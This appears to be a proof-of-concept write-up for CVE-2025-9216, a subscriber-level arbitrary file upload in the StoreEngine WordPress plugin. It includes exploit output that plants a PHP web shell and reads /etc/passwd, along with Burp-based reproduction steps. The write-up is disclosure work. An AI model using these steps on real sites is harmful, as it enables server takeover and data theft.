StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Upload# StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Upload
The [StoreEngine](https://wordpress.org/plugins/storeengine/) plugin contains a vulnerability in it's CSV Import/Export feature that allows **any authenticated user** (subscriber, author, editor, etc.) to upload arbitrary files and gain remote code execution. The vulnerability stems from two security flaws: (1) the CSV import endpoint lacks proper file validation checks, permission checks, and only relies on nonce verification for security, and (2) the `storeengine_nonce` is exposed to **ALL frontend users** through the plugin's JavaScript. This combination allows any authenticated user to extract the nonce from frontend pages and use it to upload PHP web shells via the `storeengine_csv/import` endpoint, effectively granting subscriber+ users the ability to execute arbitrary code on the server.
## TL;DR Exploits
* A POC [CVE-2025-9216.py](./CVE-2025-9216.py) is provided to demonstrate an administrator uploading a web shell named `omg.php`.
```console
python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}
Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php
Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>
```
## Details
### **Vulnerable File Upload Function**
The `storeengine_csv/import` AJAX action calls the `import()` function on line [51](https://plugins.trac.wordpress.org/browser/storeengine/trunk/addons/csv/ajax/import.php#L51) of `/wp-content/plugins/storeengine/addons/csv/ajax/import.php`, which lacks proper permission checks and file type validation:
```php
public function import() {
if ( ! isset( $_FILES['file'] ) ) {
wp_send_json_error( 'No file uploaded.' );
}
$file = $_FILES['file'];
$folder = Helper::get_upload_dir() . '/csv/';
if ( ! file_exists( $folder ) ) {
wp_mkdir_p( $folder );
}
$filename = sanitize_file_name( $file['name'] );
$target = trailingslashit( $folder ) . $filename;
if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_error( 'Failed to move uploaded file.' );
}
wp_send_json_success( [
'filename' => $filename,
] );
}
```
The function only uses `sanitize_file_name()` to clean the filename but does not perform any file type validation or capability checks. This allows uploading any file type, including PHP files that can be executed by the web server.
### **Nonce Exposure Vulnerability**
The `storeengine_nonce` is exposed to **ALL frontend users** through the plugin's JavaScript. This occurs in the `_get_script_data()` method on line [279](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/assets.php#L279) of `/wp-content/plugins/storeengine/includes/assets.php`:
```php
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
```
This nonce is then localized to frontend JavaScript via the `frontend_scripts()` method on line [120](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/assets.php#L120):
```php
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
```
### **Nonce Verification**
The nonce is verified in the `AbstractRequestHandler::check_permission()` method on line [510](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/classes/abstract-request-handler.php#L510) of `/wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php`:
```php
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
```
This combination allows any authenticated user to upload arbitrary files, including PHP web shells for remote code execution.
## Manual Reproduction
1. Login to the admin panel and navigate to the StoreEngine plugin.
2. Go to the CSV Import section (if available in the admin interface).
3. Start up Burp Suite or a similar tool and begin intercepting the traffic.
4. Attempt to upload a file and intercept the `POST` request to `/wp-admin/admin-ajax.php` calling the `storeengine_csv/import` action.
5. Modify the request to include an arbitrary file, in the example below we're uploading a PHP web shell.
6. Send the request and receive `{"success":true,"data":{"filename":"shell.php"}}`.
7. Browse the web shell at `https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php` and execute code.Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view